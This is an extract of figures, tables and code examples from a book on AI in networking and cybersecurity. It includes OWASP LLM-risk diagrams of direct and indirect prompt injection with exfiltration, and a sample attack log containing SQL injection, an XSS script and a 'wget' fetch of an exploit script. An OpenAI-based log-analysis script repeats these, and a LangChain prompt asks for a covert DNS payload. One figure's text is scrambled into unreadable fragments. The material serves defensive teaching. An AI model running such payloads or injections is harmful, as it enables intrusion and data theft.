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xv

Preface
The AI Revolution in Networking, Cybersecurity, and Emerging Technologies offers an immersive journey 
into the world of artificial intelligence and its profound impact on key domains of technology. This 
manuscript demystifies AI’s emergence, growth, and current impact, shedding light on its revolu-
tionary applications in computer networking, cybersecurity, collaboration technologies, IoT, cloud 
computing, and other emerging technologies. 

From explaining AI’s role in managing and optimizing networks to its integral part in securing the 
digital frontier, the book offers a wealth of insights. It explores how AI is building robust bridges in 
collaboration tools and turning IoT into a super-intelligent network of devices. The reader will also 
discover how AI is transforming the cloud into a self-managing, secure, and ultra-efficient environ-
ment and propelling other technologies towards unprecedented advancements. 

Our motivation is for this book to serve as a comprehensive guide that bridges the gap between 
the complex world of artificial intelligence and its practical implications in the field of IT. We aim to 
make the profound impacts and potential of AI in various technology sectors not only understand-
able but also tangible for a wide spectrum of readers. Additionally, part of our vision is to create an 
essential resource that empowers readers to understand, navigate, and address the opportunities, 
complex challenges, and responsibilities associated with AI technologies. This book will empower 
readers, whether they are IT professionals, tech enthusiasts, business leaders, or students, with the 
necessary knowledge and insights into how AI is reshaping the IT landscape. By providing a clear, 
in-depth exploration of AI’s role in computer networking, cybersecurity, IoT, cloud computing, and 
more, we aim to equip readers to harness the power of AI in their respective fields. Ultimately, our 
motive is for this book to not only educate but also inspire—serving as a catalyst that propels  
individuals and organizations into the future of AI-integrated technology. 

This book is highly relevant for a range of audiences, given its exploration of various aspects of  
artificial intelligence and technology.  

•	 IT Professionals: Those who work in fields related to information technology, network  
management, cybersecurity, cloud computing, IoT, and autonomous systems could benefit 
from understanding how AI is revolutionizing their respective fields. 

•	 Tech Enthusiasts: Individuals with an interest in emerging technologies and future trends 
might find this book interesting due to its examination of AI’s influence on various domains. 

•	 Business Leaders & Managers: This book would be useful for executives, managers, and 
decision-makers who need to understand the implications of AI on business processes and 
strategies, particularly those related to IT. 

•	 Academics and Students: Professors, researchers, and students in fields related to  
computer science, information technology, and AI would find the book useful for research  
and educational purposes. 
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xvi Preface

Register your copy of The AI Revolution in Networking, Cybersecurity, and Emerging Technologies 
on the InformIT site for convenient access to updates and/or corrections as they become 
available. To start the registration process, go to informit.com/register and log in or create an 
account. Enter the product ISBN (9780138293697) and click Submit.  

•	 Policy Makers: Given the increasing impact of AI on society and the economy, policymakers 
could also gain valuable insights from this book. 

•	 AI Professionals: People working in the field of AI might use this book to understand the 
broader context and applications of their work. 
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Traditional Machine Learning Models Newer AI Models (LLMs, Transformer-Based, 
Generative AI)

Basic architecture Generally, based on a mathematical/statistical model. 
Examples include linear regression, decision trees,  
support vector machine (SVM), etc.

Generally based on neural networks, with the  
“transformer” being a specific type of network  
architecture.

Data requirement Requires less data compared to the new AI models. Requires massive amounts of data to perform optimally.

Comprehensibility Easier to interpret and understand. Some models  
(e.g., decision trees) provide clear, intuitive rules.

More of a “black box” approach; these models are often 
more difficult to interpret.

Training time Usually quicker to train because of their simplicity and 
lower computational complexity.

Require significant computational resources and time due 
to their complexity.

Model performance Generally, may have lower performance on complex 
tasks compared to the newer AI models.

Outperform traditional machine learning models on  
complex tasks such as natural language processing and 
image recognition.

Generalization Usually better at generalizing from less data. May struggle with generalization due to their reliance on 
large amounts of training data.

Versatility Specific models are usually required for specific tasks. More versatile. A single architecture (e.g., Transformer) 
can be used for a variety of tasks.

Transfer learning Limited capability. These models excel in transfer learning, where a model 
trained on one task can be fine-tuned to perform 
another task.

Feature engineering Requires careful manual feature engineering. Feature extraction is typically performed automatically 
by the model itself.

Table 1-1  Traditional Machine Learning Models Versus Newer AI Models
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NORMALIZATION

STANDARDIZATION
VARIABLE

TRANSFORMATION

Scaling the features so that they have
similar ranges, typically between 0 and 1.

Useful for dealing with skewed data
distributions.

Transforming the features to have a
mean of 0 and standard deviation of 1.

LOG TRANSFORMATION

Figure 1-2  Mechanics of Variable Transformation
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Machine Learning Model Category Strengths Weaknesses

Linear regression Supervised Simplicity, interpretability, fast to train. Assumes a linear relationship, sensitive to 
outliers.

Logistic regression Supervised Probabilistic approach, fast to train, 
interpretability.

Assumes linear decision boundary, not suitable 
for complex relationships.

Decision trees Supervised Interpretability, handles both  
numerical and categorical data.

Can easily overfit or underfit, sensitive to small 
changes in the data.

Random forest Supervised Reduces overfitting compared to  
decision trees, handles both numerical 
and categorical data.

Less interpretable than decision trees, longer 
training time.

Support vector machines 
(SVMs)

Supervised Effective in high-dimensional spaces, 
robust against overfitting.

Not suitable for larger datasets, less effective 
on noisier datasets with overlapping classes.

Naive Bayes Supervised Fast, works well with high dimensions 
and categorical data.

Makes a strong assumption about the 
 independence of features.

K-nearest neighbors (KNN) Supervised Simple, nonparametric method is very 
versatile.

Computationally expensive as dataset size 
grows, normalization of data is required.

Neural networks Supervised/ 
unsupervised

Can model complex, nonlinear  
relationships.

Require significant data and computational 
power, “black box” nature can hinder  
interpretability.

K-means Unsupervised Simple and fast. Must specify the number of clusters in advance, 
sensitive to initial values and outliers.

Principal component 
analysis (PCA)

Unsupervised Used for dimensionality reduction, 
removes correlated features.

Not suitable if the data doesn’t follow a 
Gaussian distribution, loss of interpretability.

Reinforcement learning 
(e.g., Q-Learning)

Reinforcement Can handle complex, sequential tasks. Requires a lot of data and computational 
power, defining rewards can be tricky.

Table 1-2  Comparing Traditional Machine Learning
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AI Model Category Strengths Weaknesses

Convolutional neural  
networks (CNNs)

Supervised Excellent for image processing, pattern 
recognition in spatial data.

Computationally intensive, require large 
datasets.

Recurrent neural networks 
(RNNs)

Supervised Good for sequence data (time series, 
NLP).

Difficulty handling long-term dependencies, 
training can be computationally intensive.

Long short-term memory 
(LSTM)

Supervised Can handle long-term dependencies, 
variant of RNNs.

Computationally intensive, require large 
datasets.

Transformer models (e.g., 
BERT, GPT, LLaMA, Claude, 
Gemini)

Supervised/
unsupervised

Excellent performance in NLP, capable of 
understanding context in text data.

Require significant computational resources 
and large datasets, not easily interpretable.

Generative adversarial  
networks (GANs)

Unsupervised Capable of generating new data, good 
for tasks like image synthesis.

Training can be difficult and unstable, require 
significant computational resources.

Autoencoders Unsupervised Good for dimensionality reduction, 
anomaly detection, and generating 
new data.

May not perform well with too much noise in 
the data, require large amounts of data.

Reinforcement learning 
models (e.g., AlphaGo, 
OpenAI Five)

Reinforcement Can handle complex, sequential tasks, 
excellent for game playing and  
navigation.

Require a lot of data and computational 
power, defining rewards can be tricky.

Capsule networks Supervised Potential improvement over CNNs,  
better preservation of hierarchical  
relationships.

Still experimental, not widely adopted, 
require large datasets.

Graph neural networks 
(GNNs)

Supervised/
unsupervised

Excellent for structured data like social 
networks and chemical compounds.

Computationally intensive, less mature than 
other models.

Quantum neural networks 
(QNNs)

Supervised/
unsupervised

Potential for very high computational 
speeds, able to solve complex problems.

Still experimental, require quantum computers.

Table 1-3  Comparing Modern AI Models
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Figure 1-3  Example of Hugging Face Spaces
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OWASP
Top 10

LLM Risks

Prompt
Injection

Insecure
Output

Handling

Training Data
Poisoning

Model Denial
of Service

Supply Chain
Vulnerabilities

Sensitive
Information
Disclosure

Insecure
Plugin Design

Excessive
Agency

Overreliance

Model Theft

Figure 1-4  OWASP Top 10 LLM Risks
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Attacker

Creates a direct prompt injection directing the AI application to
bypass the system prompts set by the application’s developer.

Retrieves sensitive, hazardous, or otherwise inappropriate data.

AI Application
(e.g., chatbot, API,

etc.)

Figure 1-5  Direct Prompt Injection Attack
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Asks an LLM to summarize
a webpage containing an
indirect prompt injection.

Performs exfiltration via
JavaScript or Markdown.

LLM solicits sensitive information

Sensitive information

Website containing
indirect prompt

injection payload.
LLM

Attacker

Figure 1-6  Indirect Prompt Injection Attack
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Figure 1-7  Trust Boundary Example
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LLM

Triggering
excessive

resource usage by
generating high-volume

tasks—for example,
using LangChain,

AutoGPT, or
LlamaIndex.

Sending resource-
intensive queries,
possibly due to

uncommon
orthography or

sequences.

Continuously
overflowing the
model's input,

surpassing its context
window and using up

significant
computational

resources.

Sending lengthy inputs
repeatedly, each time
exceeding the model's

context window.

Causing recursive
context expansion,

making the LLM
continually process its

context window.

Figure 1-8  Model Denial of Service Examples
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Third-Party
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Using outdated
third-party
packages.

Vulnerable
Pretrained Models

Relying on a
vulnerable
pretrained
model for
fine-tuning.

Crowd-Sourced
Data

Training with
tampered crowd-
sourced data.

End-of-Support
Models

Using outdated
models that lack
security updates.

Ambiguous Terms

Ambiguous terms
and data privacy
policies that
might result in
misuse of
sensitive data,
including
copyrighted
content.

Everyone is
picking random
models from
Hugging Face
and other
resources.

End-of-support
libraries are
also a big
problem.

Figure 1-9  AI Supply Chain Threats
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Figure 2-1  SDN Architecture

M01_Santos et al_C01_p001-068.indd   18 21/04/24   3:00 PM



From The AI Revolution in Networking, Cybersecurity, and Emerging Technologies, by Omar Santos, 
Samer Salam, Hazim Dahir (ISBN-13: 978-0-13-829369-7) Copyright © 2024 Pearson Education, Inc. 
All rights reserved.

C
la

ss
ify

In
te

nt
R

ec
og

ni
ze

E
nt

iti
es

C
la

ss
ify

E
nt

ity
R

ol
es

R
es

ol
ve

In
te

nt

R
es

ol
ve

E
nt

iti
es

A
m

bi
gu

ou
s 

?

F
ul

ly
 q

ua
lif

ie
d 

?

P
ro

gr
es

s 
D

ia
lo

gu
e

R
en

de
r

In
te

nt

Y
es

Y
es

N
o

N
o

N
o

N
o

Y
es

Y
es

Y
es Id

en
tif

y
P

re
re

qu
is

ite
s

Id
en

tif
y

M
is

si
ng

In
pu

t
C

on
st

ru
ct

 D
ia

lo
g

Tu
rn

S
et

 u
p 

ac
ce

ss
co

nt
ro

l p
ol

ic
y

fin
an

ce
: g

ro
up

O
ffi

ce
 3

65
: s

er
vi

ce

fin
an

ce
: u

se
r 

gr
ou

p
O

ffi
ce

 3
65

: c
lo

ud
se

rv
ic

e 
 

•
Is

 th
e 

fin
an

ce
 u

se
r 

gr
ou

p
   

kn
ow

n?
 D

oe
s 

it 
ex

is
t?

•
W

ha
t i

s 
th

e 
O

ffi
ce

 3
65

se
rv

ic
e?

 D
oe

s 
it 

m
ap

 to
 a

se
rv

ic
e 

gr
ou

p 
or

 a
n 

IP
ad

dr
es

s 
ra

ng
e 

or
 …

? 

•
D

o 
w

e 
kn

ow
 h

ow
 t

o 
tr

an
sl

at
e 

th
is

 in
te

nt
in

to
 p

ol
ic

y?
•

A
re

 a
ll 

pr
er

eq
ui

si
te

s 
sa

tis
fie

d 
(n

et
w

or
k

st
at

e,
 in

ve
nt

or
y,

 s
of

tw
ar

e 
ve

rs
io

ns
,

ha
rd

w
ar

e 
ca

pa
bi

lit
ie

s,
 e

tc
.)

 ?
•

Is
 a

ny
 in

fo
rm

at
io

n 
m

is
si

ng
 fr

om
 th

e
us

er
?

•
P

ro
m

pt
 u

se
r 

fo
r 

pr
er

eq
ui

si
te

s 
(e

.g
., 

fin
an

ce
 g

ro
up

do
es

 n
ot

 e
xi

st
, c

re
at

e 
it?

)
•

P
ro

m
pt

 u
se

r 
fo

r 
m

is
si

ng
 in

fo
rm

at
io

n 
(e

.g
., 

is
 th

is
tim

e 
lim

ite
d 

ac
ce

ss
 o

r 
pe

rp
et

ua
l?

)

•
C

re
at

e 
se

rv
ic

e 
gr

ou
p 

fo
r

O
ffi

ce
 3

65
•

A
dd

 IP
 to

 g
ro

up
 m

ap
pi

ng
fo

r 
O

ffi
ce

 3
65

 s
er

ve
rs

’ I
P

ad
dr

es
s 

ra
ng

e
•

A
dd

 fi
re

w
al

l p
ol

ic
ie

s
•

A
dd

 a
cc

es
s 

co
nt

ro
l

po
lic

ie
s 

pe
rm

itt
in

g
fin

an
ce

 u
se

r 
gr

ou
p 

to
ac

ce
ss

 O
ffi

ce
 3

65
 s

er
vi

c e
gr

ou
p

•
…

V
oi

ce
 to

Te
xt

S
pe

ec
h T
ex

t

C
ha

t C
lie

nt
,

C
on

so
le

,
et

c.

N
LP

 M
od

ul
e

A
I E

ng
in

e

Id
en

ti
ty

 E
ng

in
e

P
ol

ic
y 

E
ng

in
e

N
et

w
or

k 
D

ev
ic

es

“E
na

bl
e 

ac
ce

ss
 to

 O
ffi

ce
 3

65
 fo

r 
al

l e
m

pl
oy

ee
s 

in
 th

e 
fin

an
ce

de
pa

rt
m

en
t .”

Fi
gu

re
 2

-2
 

Ex
am

pl
e o

f C
on

fig
ur

at
io

n 
Au

to
m

at
io

n 
Us

in
g 

AI
 an

d 
NL

P

M01_Santos et al_C01_p001-068.indd   19 21/04/24   3:00 PM



From The AI Revolution in Networking, Cybersecurity, and Emerging Technologies, by Omar Santos, 
Samer Salam, Hazim Dahir (ISBN-13: 978-0-13-829369-7) Copyright © 2024 Pearson Education, Inc. 
All rights reserved.

References
Nunes, B. A. A., Mendonca, M., Nguyen, X.-N., Obraczka, K., & Turletti, T. (2014). A survey of 
software-defined networking: Past, present, and future of programmable networks. IEEE 
Communications Surveys & Tutorials, 16(3), 1617–1634. doi: 10.1109/SURV.2014.012214.00180

Leivadeas, A., & Falkner, M. (2023). A survey on intent-based networking. IEEE Communications 
Surveys & Tutorials, 25(1), 625–655. doi: 10.1109/COMST.2022.3215919

Horn, P. (2001). Autonomic computing: IBM’s perspective on the state of information  
technology. Computer Science, 15, 1–40.

Kephart, J., & Chess, D. (2003). The vision of autonomic computing. IEEE Computer, 36(1), 
41–50. doi: 10.1109/MC.2003.1160055

Clemm, A., & Eckert, T. (2023). Combining autonomic and intent-based networking. In NOMS 
2023–2023 IEEE/IFIP Network Operations and Management Symposium, Miami, FL, pp. 1–6.  
doi: 10.1109/NOMS56928.2023.10154294

Djukic, P., & Amiri, M. (2021). Using AI in network planning and operations forecasting. Fall 
Technical Forum, SCTE NCTA CableLabs.

Collet, A., Banchs, A., & Fiore, M. (2022). LossLeaP: Learning to predict for intent-based  
networking. In Proceedings of IEEE INFOCOM Conference on Computer Communications,  
pp. 2138–2147.

Clemm, A., Ciavaglia, L., Granville, L. Z., & Tantsura, J. (2022). Intent-based networking: Concepts 
and definitions. RFC 9315. doi: 10.17487/RFC9315

Lalibert, B. (2018). The journey to intent-based networking: Ten key principles for accelerating 
adoption. ESG White Paper.

Vasseur, J. P. (2022, July). Predictive networks: Networks that learn, predict and plan (v2.0) (White 
paper). Cisco.

Cisco. (2021, December). Radio resource management (White paper). www.cisco.com/c/en/us/
td/docs/wireless/controller/technotes/8-3/b_RRM_White_Paper/rrm.html

Cisco. (2023). Cisco DNA Center AI-enhanced RRM deployment guide. www.cisco.com/c/en/us/
products/collateral/wireless/catalyst-9800-series-wireless-controllers/ai-enhanced-rrm-dg.html

IEA. Global trends in digital and energy indicators. www.iea.org/energy-system/buildings/data-
centres-and-data-transmission-networks

M01_Santos et al_C01_p001-068.indd   20 21/04/24   3:00 PM



From The AI Revolution in Networking, Cybersecurity, and Emerging Technologies, by Omar Santos, 
Samer Salam, Hazim Dahir (ISBN-13: 978-0-13-829369-7) Copyright © 2024 Pearson Education, Inc. 
All rights reserved.

Cisco. (2020). Cisco AI endpoint analytics: A new path forward (White paper). www.cisco.com/c/
en/us/solutions/collateral/enterprise-networks/software-defined-access/nb-06-ai-endpoint-
analytics-wp-cte-en.html

Cisco. (2021). Cisco encrypted traffic analytics (White paper). www.cisco.com/c/en/us/solutions/
collateral/enterprise-networks/enterprise-network-security/nb-09-encrytd-traf-anlytcs-wp-cte-
en.html

Belkadi, O., Vulpe, A., Laaziz, Y., & Halunga, S. (2023). ML-based traffic classification in an SDN-
enabled cloud environment. Electronics, 12(2), 269. https://doi.org/10.3390/electronics12020269

Shafiq, M., Yu, X., Laghari, A. A., Yao, L., Karn, N. K., & Abdessamia, F. (2016). Network traffic  
classification techniques and comparative analysis using machine learning algorithms. In 2nd 
IEEE International Conference on Computer and Communications (ICCC), Chengdu, China,  
pp. 2451–2455. doi: 10.1109/CompComm.2016.7925139

Chen, A., Law, J., & Aibin, M. (2021). A survey on traffic prediction techniques using artificial 
intelligence for communication networks. Telecom, 2, 518–535. https://doi.org/10.3390/ 
telecom2040029

Almasan, P., et al. (2022). Network digital twin: Context, enabling technologies, and opportuni-
ties. IEEE Communications Magazine, 60(11), 22–27. doi: 10.1109/MCOM.001.2200012

M01_Santos et al_C01_p001-068.indd   21 21/04/24   3:00 PM



From The AI Revolution in Networking, Cybersecurity, and Emerging Technologies, by Omar Santos, 
Samer Salam, Hazim Dahir (ISBN-13: 978-0-13-829369-7) Copyright © 2024 Pearson Education, Inc. 
All rights reserved.

3

M01_Santos et al_C01_p001-068.indd   22 21/04/24   3:00 PM



From The AI Revolution in Networking, Cybersecurity, and Emerging Technologies, by Omar Santos, 
Samer Salam, Hazim Dahir (ISBN-13: 978-0-13-829369-7) Copyright © 2024 Pearson Education, Inc. 
All rights reserved.

[2026-08-18 12:34:56] Failed login attempt for user 'admin' from IP 192.168.1.10
[2026-08-18 12:34:57] Failed login attempt for user 'admin' from IP 192.168.1.10
[2026-08-18 12:34:58] Failed login attempt for user 'admin' from IP 192.168.1.10
[2026-08-18 13:45:23] SQL query error: SELECT * FROM users WHERE username='' OR 
'1'='1'; -- ' AND password='password'
[2026-08-18 14:56:12] GET /login HTTP/1.1 User-Agent: Possible-Scanning-Bot/1.0
[2026-08-18 15:23:45] GET /admin/dashboard HTTP/1.1 from IP 203.0.113.5
[2026-08-18 16:34:12] Command executed: /bin/bash -c 'wget .com/exploit.sh'
[2026-08-18 17:45:23] GET /etc/passwd HTTP/1.1 from IP 192.168.1.20
[2026-08-18 18:56:34] 1000 requests received from IP 192.168.1.30 in the last 60 
seconds
[2026-08-18 19:12:45] GET /search?q=<script>alert('XSS')</script> HTTP/1.1
[2026-08-18 20:23:56] Connection attempt to port 4444 from IP 192.168.1.40
[2026-08-18 21:34:12] GET /downloads/malicious.exe HTTP/1.1 from IP 192.168.1.50

Example 3-1  Unstructured Data from Logs
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'''
A simple test to interact with the OpenAI API
and analyze logs from applications, firewalls, operating systems, and more.
Author: Omar Santos, @santosomar
‘’’
 
# Import the required libraries
# pip3 install openai python-dotenv  
# Use the line above if you need to install the libraries
from dotenv import load_dotenv
import openai
import os
 
# Load the .env file
load_dotenv()
 
# Get the API key from the environment variable
openai.api_key = os.getenv('OPENAI_API_KEY')
 
# Read the diff from a file
with open('logs.txt', 'r') as file:
    log_file = file.read()
 
# Prepare the prompt
prompt = [{"role": "user", "content": f"Explain the following logs:\n\n{log_
file} . Explain if there is any malicious activity in the logs."}]
 
# Generate the AI chat completion via the OpenAI API
# I am only using GTP 3.5 Turbo for this example.
response = openai.ChatCompletion.create(
  model="gpt-3.5-turbo-16k",
  messages=prompt,
  max_tokens=10000
)
 
# Print the response from the OpenAI API
print(response.choices[0].message.content)

Example 3-2  A Simple Script to Interact with the OpenAI API and Analyze Logs
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$ python3 analyzing_logs.py 

Based on the given logs, there are several instances that indicate potential malicious activity. Let’s analyze 

each log individually:

 

1. [2026-08-18 12:34:56] Failed login attempt for user 'admin' from IP 192.168.1.10

2. [2026-08-18 12:34:57] Failed login attempt for user 'admin' from IP 192.168.1.10

3. [2026-08-18 12:34:58] Failed login attempt for user 'admin' from IP 192.168.1.10

 

These logs suggest three consecutive failed login attempts for the user 'admin' from the IP address 

192.168.1.10. While it is not definitive evidence of malicious activity, it could indicate a brute-force attack or 

an unauthorized user attempting to gain access to the system.

 

4. [2026-08-18 13:45:23] SQL query error: SELECT * FROM users WHERE username='' OR '1'='1'; -- ' AND 

password='password'

 

This log shows a SQL query error where the query is attempting to retrieve user information from the 

database. The query includes a condition that essentially allows any user to be selected due to the '1'='1' 

condition, bypassing the authentication mechanism. This is a classic example of SQL injection, which is a 

common attack vector.

 

5. [2026-08-18 14:56:12] GET /login HTTP/1.1 User-Agent: Possible-Scanning-Bot/1.0

 

This log indicates a GET request to the /login page with a suspicious User-Agent: Possible-Scanning-Bot/1.0. 

It suggests the possibility that an automated scanning tool or bot is attempting to identify vulnerabilities or 

security weaknesses in the login page.

 

6. [2026-08-18 15:23:45] GET /admin/dashboard HTTP/1.1 from IP 203.0.113.5
 

This log shows a GET request to the /admin/dashboard page from an IP address (203.0.113.5) that is 

not expected to have administrative access. This could indicate an attempt to access the restricted 

administrative area by an unauthorized user.
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7. [2026-08-18 16:34:12] Command executed: /bin/bash -c 'wget http://malicious.com/exploit.sh'

 

This log reveals the execution of a specific command (/bin/bash -c 'wget http://malicious.com/exploit.sh'). 

Running this command implies an attempt to download and execute a potentially malicious shell script 

from 'http://malicious.com/exploit.sh'.

 

8. [2026-08-18 17:45:23] GET /etc/passwd HTTP/1.1 from IP 192.168.1.20

 

This log displays a GET request for the /etc/passwd file from the IP address 192.168.1.20. Accessing the /etc/

passwd file is often considered a reconnaissance activity aimed at gathering sensitive system information, 

indicating a security breach attempt.

 

9. [2026-08-18 18:56:34] 1000 requests received from IP 192.168.1.30 in the last 60 seconds

 

This log indicates that a particular IP address (192.168.1.30) has made 1000 requests within 60 seconds. This 

high rate of requests from a single IP address might indicate a denial-of-service (DoS) attack or an attempt 

to overwhelm the server by flooding it with requests.

 

10. [2026-08-18 19:12:45] GET /search?q=<script>alert('XSS')</script> HTTP/1.1

 

This log demonstrates a GET request to perform a search with a query parameter that includes a JavaScript 

script (<script>alert('XSS')</script>). It suggests a potential cross-site scripting (XSS) attack, where the 

injected script may be executed by vulnerable parts of the application.

 

11. [2026-08-18 20:23:56] Connection attempt to port 4444 from IP 192.168.1.40

 

This log indicates a connection attempt to a specific port (4444) from the IP address 192.168.1.40. Without 

further information, it is challenging to determine the intentions behind this connection attempt. However, 

connection attempts to uncommon ports could indicate port scanning or efforts to establish unauthorized 

access.

 

M01_Santos et al_C01_p001-068.indd   26 21/04/24   3:00 PM



From The AI Revolution in Networking, Cybersecurity, and Emerging Technologies, by Omar Santos, 
Samer Salam, Hazim Dahir (ISBN-13: 978-0-13-829369-7) Copyright © 2024 Pearson Education, Inc. 
All rights reserved.

12. [2026-08-18 21:34:12] GET /downloads/malicious.exe HTTP/1.1 from IP 192.168.1.50

 

This log shows a GET request to download a file named "malicious.exe" from the IP address 192.168.1.50. 

The filename combined with the IP address suggests the possibility that the user is downloading a file that 

might be malicious or potentially harmful.

 

In summary, several logs indicate potentially malicious activity, including brute-force login attempts, SQL 

injection, scanning for vulnerabilities, unauthorized access attempts, command execution, reconnaissance 

activities, DoS attempts, XSS attacks, and downloading potentially malicious files. Further investigation and 

security measures are necessary to address these potential threats and protect the system.

Example 3-3  Results from the OpenAI API
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Certainly! Since you're dealing with a cybersecurity incident and need to create a Structured Threat 

Information eXpression (STIX) document to share an indicator of compromise (IOC), I’ll guide you through 

the process.

 

STIX is a standardized language for representing and exchanging cyber threat intelligence. A STIX document 

can include details about malware, attack  

patterns, threat actors, and more.

 

Below is an example STIX document that describes the Trojan you mentioned, including the SHA-256 hash. 

You can customize this template to include  

additional details relevant to your specific case.

 
```json
{
  "type": "bundle",
  "id": "bundle--8c6f2a0a-0b9a-49d9-9ecf-13f15b54bbfc",
  "spec_version": "2.0",
  "objects": [
    {
      "type": "indicator",
      "id": "indicator--b8e2c763-4087-4f77-80b6-305b4d607cf5",
      "created": "2023-08-18T00:00:00.000Z",
      "modified": "2023-08-18T00:00:00.000Z",
      "name": "Trojan.GenericKD.65065311",
      "description": "A specific variant of a Trojan detected in the network",
      "pattern": "[file:hashes.'SHA-256' = '00ab15b194cc1fc8e48e849ca9717c0700e-
f7ce2265511276f7015d7037d8725’]”,
      "valid_from": "2023-08-18T00:00:00Z",
      "labels": [
        "malicious-activity"
      ]
    },
    {
      "type": "malware",
      "id": "malware--f3bdec59-1f14-4e45-8f45-dfd5bb5c72a3",
      "created": "2023-08-18T00:00:00.000Z",
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      "modified": "2023-08-18T00:00:00.000Z",
      "name": "Trojan.GenericKD.65065311",
      "description": "Detailed description of the malware, its behavior, and 
other relevant information",
      "labels": [
        "trojan"
      ]
    }
  ]
}
```
 

Make sure to update the timestamps, description, and any other information you'd like to include to 

accurately reflect the details of the malware and the incident.

This document can be shared with other organizations or threat intelligence platforms that support the STIX 

2.0 format, allowing for coordinated response and mitigation.

Example 3-4  Using ChatGPT to Create a STIX Document
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Certainly! Here's a detailed report that you can share with your manager regarding the identified malware, 

along with the recommended mitigations:

---

**Subject:** Incident Report - Detection of Trojan.GenericKD.65065311

**Date:** [Insert Date]

**To:** [Manager’s Name]

**From:** [Your Name], Cybersecurity Expert

 

**Executive Summary:**

During our regular monitoring, we have identified a malicious piece of software with SHA-256 hash: 

00ab15b194cc1fc8e48e8489ca9717c0700ef7ce2265511276f7015d7037d8725. It has been detected as 

Trojan.GenericKD.65065311. This report outlines the details of the malware and provides recommendations 

for mitigation.

 

**1. Malware Details**

 

   **a. Type:** Trojan

   **b. Name:** GenericKD.65065311

   **c. Hash (SHA-256):** 00ab15b194cc1fc8e48e8489ca9717c0700ef7ce2265511276f7015d7037d8725

   **d. Potential Impact:** Unauthorized access, data theft, system integrity compromise, etc.

 

**2. Analysis and Findings**

 

The Trojan.GenericKD.65065311 is a generic detection that refers to Trojans capable of providing 

unauthorized access to attackers. This can lead to various consequences, such as the following:

 

   - Data leakage

   - Loss of sensitive information

   - Degradation in system performance

   - Possible lateral movement within the network
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**3. Recommended Mitigations**

Based on our analysis, the following mitigation steps are proposed:

   **a. Isolation:** Isolate the affected system from the network to prevent the potential spread of the 

malware.

   **b. Investigation:** Conduct a comprehensive forensic analysis to understand the infection vector, 

behavior, and potential impact on the network.

   **c. Patching:** Ensure that all systems are updated with the latest security patches to minimize 

vulnerabilities.

   **d. Removal:** Utilize specialized malware removal tools to eliminate the malicious software from the 

infected system.

   **e. Monitoring:** Implement continuous monitoring and enhanced security measures to detect and 

respond to future threats promptly.

   **f. User training:** Educate users about the importance of safe online practices, such as not clicking on 

unknown links or downloading suspicious attachments.

 

**4. Conclusion**

The detection of Trojan.GenericKD.65065311 in our network is a significant concern that requires immediate 

action. The proposed mitigation steps are aimed at containing the threat and minimizing its potential 

impact. A continuous review of security measures and adherence to best practices is vital to ensuring the 

ongoing resilience of our network against such threats.

Please do not hesitate to reach out if you have any questions or require further assistance.

 

**Attachments:** [Include any relevant logs, screenshots, or additional information]

---

Feel free to customize this report with specific details that may be unique to your situation or organizational 

policies. Make sure to replace the placeholders like [Insert Date], [Manager's Name], and [Your Name] with 

the appropriate information.

Example 3-5  Creating an Incident Report Using GPT-4
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from langchain import HuggingFacePipeline
from transformers import AutoTokenizer, pipeline
import torch
 
model = "tiiuae/falcon-7b-instruct" # You can also use the larger model falcon-
40b-instruct
 
tokenizer = AutoTokenizer.from_pretrained(model)
 
pipeline = pipeline(
    "text-generation", #task
    model=model,
    tokenizer=tokenizer,
    torch_dtype=torch.bfloat16,
    trust_remote_code=True,
    device_map="auto",
    max_length=10000,
    do_sample=True,
    top_k=10,
    num_return_sequences=1,
    eos_token_id=tokenizer.eos_token_id
)
llm = HuggingFacePipeline(pipeline = pipeline, model_kwargs = {'temperature':0})
from langchain import PromptTemplate,  LLMChain
 
template = """
You are an ethical hacker and programmer. Help me with the following task.
Task: {question}
Answer:"""
prompt = PromptTemplate(template=template, input_variables=["question"])
 
llm_chain = LLMChain(prompt=prompt, llm=llm)
 
question = "Create a Python script to send a DNS packet using scapy with a 
secret payload"
print(llm_chain.run(question))

Example 3-6  Using LangChain to Create Prompt Templates
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Figure 3-1  LangChain Runnable Sequence
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Figure 3-2  The Concept of AIM
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Figure 3-3  The Process of Authentication, Authorization, and Logging
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Figure 3-4  The Key Components of IAM
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Figure 3-5  Some of the Benefits of Dynamic Access Control
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Figure 3-6  Example of Dynamic Access Control in Healthcare
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Figure 3-7  Behavioral Analytics and Network and Sentiment Analysis
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Figure 3-8  Examples of AI-Driven SCM Use Cases
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Technology Description 

IP telephony or IP calling Digitization of voice communication

Audio conferencing Audio call with multiple participants 

Video conferencing and telepresence Video call with multiple participants

IP telephony-based call center (contact center) Customer service call center with call routing capabilities based on IP telephony

Web meetings Audio or video conference call using a web browser without the need for a phone or a 
video device

Streaming technologies The ability to stream video and audio content via communication media 

Instant messaging Instant sharing of text, audio, or video messages with individuals or a group

Advanced voicemail Digital voicemail accessible anywhere, with speech-to-text or text-to-speech conversion 
and translation capabilities

eFax The ability to scan or digitize documents and transfer them over the Internet without the 
need for a fax machine

Table 4-1  Advances in Digital Communication
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SMS

Figure 4-2  The Contact Center Where the Human Agent Is the Center of the Universe
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Figure 4-3  The Agent Assisted by AI, or in Some Scenarios Replaced by AI
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Figure 4-4  The Traditional Sentiment Measurement System
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Layers Function and Characteristics

1 Devices and things Physical sensors and devices

Actuators

Medical devices or wearables

Actuators, valves, robotics

Physical security/tamper-proof

2 Connectivity/network The network and communication

Wireless access points, routers

Reliable delivery of data 

Network-level security

Deep packet inspection

Lightweight communication protocol

Flexibility and scalability to accommodate a large number of devices

3 Edge computing Data processing/data converted into information

Monitoring/threshold detection

“Event” or “exception” generation

4 Accumulation Data storage

Data-at-rest

Local or remote

5 Data abstraction Data aggregation

Combining data from multiple sources 

Data reduction through filtering and selection

6 Data analytics Data (or information) interpretation

Application for analytics, reporting, and control

Business-level analysis

Action generation

7 Data representation Sharing and collaboration layer

The people and process layer for decision-making

Table 5-1  IoT Reference Layers
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Figure 5-3  A Simple Example of a Predictive Maintenance Event
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Figure 5-4  Aerial view of a canal blockage by a container ship.
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Figure 5-5  U.S. Land Shipping Routes
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Figure 5-6  The Circular Economy in comparison to the Linear Economy
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Figure 6-1  Virtual Machines and Containers
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Figure 7-1  A Demonstration of Grover’s Search Algorithm

M01_Santos et al_C01_p001-068.indd   62 21/04/24   3:01 PM



From The AI Revolution in Networking, Cybersecurity, and Emerging Technologies, by Omar Santos, 
Samer Salam, Hazim Dahir (ISBN-13: 978-0-13-829369-7) Copyright © 2024 Pearson Education, Inc. 
All rights reserved.

AI processing and analyzing smart contracts at scale

Smart Contracts

AI Model

